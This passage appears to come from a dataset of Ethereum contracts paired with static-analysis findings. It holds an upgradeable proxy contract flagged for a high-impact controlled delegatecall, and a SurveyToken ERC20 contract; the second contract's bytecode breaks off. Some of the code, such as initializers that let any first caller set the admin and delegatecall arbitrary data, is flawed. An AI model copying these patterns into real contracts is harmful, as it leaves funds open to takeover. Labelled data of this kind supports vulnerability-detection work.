0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() virtual override internal { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); //super._willFallback(); } } interface IAdminUpgradeabilityProxyView { function admin() external view returns (address); function implementation() external view returns (address); } /** * @title UpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with a constructor for initializing * implementation and init data. */ abstract contract UpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } //function _willFallback() virtual override internal { //super._willFallback(); //} } /** * @title AdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for * initializing the implementation, admin, and init data. */ contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _admin, address _logic, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal { super._willFallback(); } } /** * @title InitializableUpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with an initializer for initializing * implementation and init data. */ abstract contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract initializer. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } } /** * @title InitializableAdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for * initializing the implementation, admin, and init data. */ contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { /** * Contract initializer. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _admin, address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); InitializableUpgradeabilityProxy.initialize(_logic, _data); assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } } /** * Utility library of inline functions on addresses * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version. */ library OpenZeppelinUpgradesAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } }
0x6080604052600436106100745760003560e01c80638f2839701161004e5780638f2839701461016f578063cf7a1d77146101a2578063d1f5789414610261578063f851a4401461031757610083565b80633659cfe61461008b5780634f1ef286146100be5780635c60da1b1461013e57610083565b366100835761008161032c565b005b61008161032c565b34801561009757600080fd5b50610081600480360360208110156100ae57600080fd5b50356001600160a01b0316610371565b610081600480360360408110156100d457600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100ff57600080fd5b82018360208201111561011157600080fd5b8035906020019184600183028401116401000000008311171561013357600080fd5b5090925090506103ab565b34801561014a57600080fd5b50610153610458565b604080516001600160a01b039092168252519081900360200190f35b34801561017b57600080fd5b506100816004803603602081101561019257600080fd5b50356001600160a01b0316610495565b610081600480360360608110156101b857600080fd5b6001600160a01b0382358116926020810135909116918101906060810160408201356401000000008111156101ec57600080fd5b8201836020820111156101fe57600080fd5b8035906020019184600183028401116401000000008311171561022057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061054f945050505050565b6100816004803603604081101561027757600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156102a257600080fd5b8201836020820111156102b457600080fd5b803590602001918460018302840111640100000000831117156102d657600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061057f945050505050565b34801561032357600080fd5b5061015361065f565b6103353361068a565b801561033f575036155b801561034d57506108fc5a11155b156103575761036f565b61035f610690565b61036f61036a6106e8565b61070d565b565b610379610731565b6001600160a01b0316336001600160a01b031614156103a05761039b81610756565b6103a8565b6103a861032c565b50565b6103b3610731565b6001600160a01b0316336001600160a01b0316141561044b576103d583610756565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610432576040519150601f19603f3d011682016040523d82523d6000602084013e610437565b606091505b505090508061044557600080fd5b50610453565b61045361032c565b505050565b6000610462610731565b6001600160a01b0316336001600160a01b0316141561048a576104836106e8565b9050610492565b61049261032c565b90565b61049d610731565b6001600160a01b0316336001600160a01b031614156103a0576001600160a01b0381166104fb5760405162461bcd60e51b81526004018080602001828103825260368152602001806108556036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610524610731565b604080516001600160a01b03928316815291841660208301528051918290030190a161039b81610796565b60006105596106e8565b6001600160a01b03161461056c57600080fd5b610576828261057f565b61045383610796565b60006105896106e8565b6001600160a01b03161461059c57600080fd5b6105a5826107ba565b80511561065b576000826001600160a01b0316826040518082805190602001908083835b602083106105e85780518252601f1990920191602091820191016105c9565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610648576040519150601f19603f3d011682016040523d82523d6000602084013e61064d565b606091505b505090508061045357600080fd5b5050565b6000610669610731565b6001600160a01b0316336001600160a01b0316141561048a57610483610731565b3b151590565b610698610731565b6001600160a01b0316336001600160a01b0316141561036f5760405162461bcd60e51b81526004018080602001828103825260328152602001806108236032913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561072c573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b61075f816107ba565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6107c38161068a565b6107fe5760405162461bcd60e51b815260040180806020018281038252603b81526020018061088b603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220e6fadd51b281dac9b5e7b119f723ec2de83d894bde920065b1c6ead1d5ab100c64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
2,735
0x795aFd4350049359A5ef359ec7bc8579b1E36D60
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { // Public variables of the token string public name = "SurveyToken"; string public symbol = "SRT"; uint8 public decimals = 18; uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20(uint256 initialSupply) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { owner = newOwner; } } contract SurveyToken is TokenERC20, owned { struct Survey { address initiator; uint256 toPay; uint256 balance; uint32 tickets; uint256 reward; mapping(address => bool) respondents; } address feeReceiver; mapping(bytes32 => Survey) surveys; mapping(address => bool) robots; modifier onlyRobot { require(robots[msg.sender]); _; } function SurveyToken(uint256 initialSupply) public TokenERC20(initialSupply) { feeReceiver = msg.sender; } function setFeeReceiver(address newReceiver) public onlyOwner { require(newReceiver != 0x0); feeReceiver = newReceiver; } function addRobot(address newRobot) public onlyOwner returns(bool success) { require(newRobot != 0x0); require(robots[newRobot] == false); robots[newRobot] = true; return true; } function removeRobot(address oldRobot) public onlyOwner returns(bool success) { require(oldRobot != 0x0); require(robots[oldRobot] == true); robots[oldRobot] = false; return true; } function placeNewSurvey(bytes32 key, uint256 toPay, uint32 tickets, uint256 reward) public returns(bool success) { require(surveys[key].initiator == 0x0); require(tickets > 0 && reward >= 0); uint256 rewardBalance = tickets * reward; require(rewardBalance < toPay && toPay > 0); require(balanceOf[msg.sender] >= toPay); uint256 fee = toPay - rewardBalance; require(balanceOf[feeReceiver] + fee > balanceOf[feeReceiver]); transfer(feeReceiver, fee); balanceOf[msg.sender] -= rewardBalance; surveys[key] = Survey(msg.sender, toPay, rewardBalance, tickets, reward); Transfer(msg.sender, 0x0, rewardBalance); return true; } function giveReward(bytes32 surveyKey, address respondent, uint8 karma) public onlyRobot returns(bool success) { require(respondent != 0x0); Survey storage surv = surveys[surveyKey]; require(surv.respondents[respondent] == false); require(surv.tickets > 0 && surv.reward > 0 && surv.balance >= surv.reward); require(karma >= 0 && karma <= 10); if (karma < 10) { uint256 fhalf = surv.reward / 2; uint256 shalf = ((surv.reward - fhalf) / 10) * karma; uint256 respReward = fhalf + shalf; uint256 fine = surv.reward - respReward; require(balanceOf[respondent] + respReward > balanceOf[respondent]); require(balanceOf[feeReceiver] + fine > balanceOf[feeReceiver]); balanceOf[respondent] += respReward; Transfer(0x0, respondent, respReward); balanceOf[feeReceiver] += fine; Transfer(0x0, feeReceiver, fine); } else { require(balanceOf[respondent] + surv.reward > balanceOf[respondent]); balanceOf[respondent] += surv.reward; Transfer(0x0, respondent, surv.reward); } surv.tickets--; surv.balance -= surv.reward; surv.respondents[respondent] = true; return true; } function removeSurvey(bytes32 surveyKey) public onlyRobot returns(bool success) { Survey storage surv = surveys[surveyKey]; require(surv.initiator != 0x0 && surv.balance > 0); require(balanceOf[surv.initiator] + surv.balance > balanceOf[surv.initiator]); balanceOf[surv.initiator] += surv.balance; Transfer(0x0, surv.initiator, surv.balance); surv.balance = 0; return true; } function getSurveyInfo(bytes32 key) public constant returns(bool success, uint256 toPay, uint32 tickets, uint256 reward) { Survey storage surv = surveys[key]; require(surv.initiator != 0x0); return (true, surv.toPay, surv.tickets, surv.reward); } }
0x6060604052361561011b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063051b4e6c1461012057806306fdde0314610180578063095ea7b31461020f57806318160ddd1461026957806323b872dd146102925780633118879a1461030b578063313ce5671461034a57806342966c681461037957806355ad798f146103b457806359b563b51461040557806370a082311461045657806379cc6790146104a35780638da5cb5b146104fd57806395d89b4114610552578063a9059cbb146105e1578063cae9ca5114610623578063dd62ed3e146106c0578063e01ac5a41461072c578063efdcd97414610796578063f2fde38b146107cf578063f356e8de14610808575b600080fd5b341561012b57600080fd5b610145600480803560001916906020019091905050610868565b60405180851515151581526020018481526020018363ffffffff1663ffffffff16815260200182815260200194505050505060405180910390f35b341561018b57600080fd5b610193610909565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101d45780820151818401525b6020810190506101b8565b50505050905090810190601f1680156102015780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021a57600080fd5b61024f600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109a7565b604051808215151515815260200191505060405180910390f35b341561027457600080fd5b61027c610a35565b6040518082815260200191505060405180910390f35b341561029d57600080fd5b6102f1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a3b565b604051808215151515815260200191505060405180910390f35b341561031657600080fd5b610330600480803560001916906020019091905050610b69565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b61035d610e18565b604051808260ff1660ff16815260200191505060405180910390f35b341561038457600080fd5b61039a6004808035906020019091905050610e2b565b604051808215151515815260200191505060405180910390f35b34156103bf57600080fd5b6103eb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f30565b604051808215151515815260200191505060405180910390f35b341561041057600080fd5b61043c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611076565b604051808215151515815260200191505060405180910390f35b341561046157600080fd5b61048d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111bc565b6040518082815260200191505060405180910390f35b34156104ae57600080fd5b6104e3600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111d4565b604051808215151515815260200191505060405180910390f35b341561050857600080fd5b6105106113ef565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561055d57600080fd5b610565611415565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105a65780820151818401525b60208101905061058a565b50505050905090810190601f1680156105d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156105ec57600080fd5b610621600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114b3565b005b341561062e57600080fd5b6106a6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506114c3565b604051808215151515815260200191505060405180910390f35b34156106cb57600080fd5b610716600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611642565b6040518082815260200191505060405180910390f35b341561073757600080fd5b61077c60048080356000191690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803560ff16906020019091905050611667565b604051808215151515815260200191505060405180910390f35b34156107a157600080fd5b6107cd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611cfe565b005b34156107da57600080fd5b610806600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611dc6565b005b341561081357600080fd5b61084e60048080356000191690602001909190803590602001909190803563ffffffff16906020019091908035906020019091905050611e68565b604051808215151515815260200191505060405180910390f35b6000806000806000600860008760001916600019168152602001908152602001600020905060008160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156108d757600080fd5b600181600101548260030160009054906101000a900463ffffffff16836004015494509450945094505b509193509193565b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561099f5780601f106109745761010080835404028352916020019161099f565b820191906000526020600020905b81548152906001019060200180831161098257829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190505b92915050565b60035481565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ac857600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610b5d848484612201565b600190505b9392505050565b600080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bc457600080fd5b600860008460001916600019168152602001908152602001600020905060008160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015610c30575060008160020154115b1515610c3b57600080fd5b600460008260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548160020154600460008460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515610d1557600080fd5b8060020154600460008360000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83600201546040518082815260200191505060405180910390a360008160020181905550600191505b5b50919050565b600260009054906101000a900460ff1681565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610e7b57600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600190505b919050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f8e57600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff1614151515610fb457600080fd5b60011515600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561101357600080fd5b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600190505b5b919050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110d457600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff16141515156110fa57600080fd5b60001515600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561115957600080fd5b6001600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600190505b5b919050565b60046020528060005260406000206000915090505481565b600081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561122457600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156112af57600080fd5b81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600190505b92915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114ab5780601f10611480576101008083540402835291602001916114ab565b820191906000526020600020905b81548152906001019060200180831161148e57829003601f168201915b505050505081565b6114be338383612201565b5b5050565b6000808490506114d385856109a7565b15611639578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156115ce5780820151818401525b6020810190506115b2565b50505050905090810190601f1680156115fb5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561161c57600080fd5b6102c65a03f1151561162d57600080fd5b5050506001915061163a565b5b509392505050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600080600080600080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116c857600080fd5b60008873ffffffffffffffffffffffffffffffffffffffff16141515156116ee57600080fd5b600860008a600019166000191681526020019081526020016000209450600015158560050160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561176c57600080fd5b60008560030160009054906101000a900463ffffffff1663ffffffff1611801561179a575060008560040154115b80156117ae57508460040154856002015410155b15156117b957600080fd5b60008760ff16101580156117d15750600a8760ff1611155b15156117dc57600080fd5b600a8760ff161015611b0657600285600401548115156117f857fe5b0493508660ff16600a8587600401540381151561181157fe5b040292508284019150818560040154039050600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156118b157600080fd5b60046000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548160046000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561198357600080fd5b81600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508773ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a38060046000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3611c3e565b600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548560040154600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515611b9857600080fd5b8460040154600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508773ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87600401546040518082815260200191505060405180910390a35b84600301600081819054906101000a900463ffffffff16809291906001900391906101000a81548163ffffffff021916908363ffffffff160217905550508460040154856002016000828254039250508190555060018560050160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600195505b5b50505050509392505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141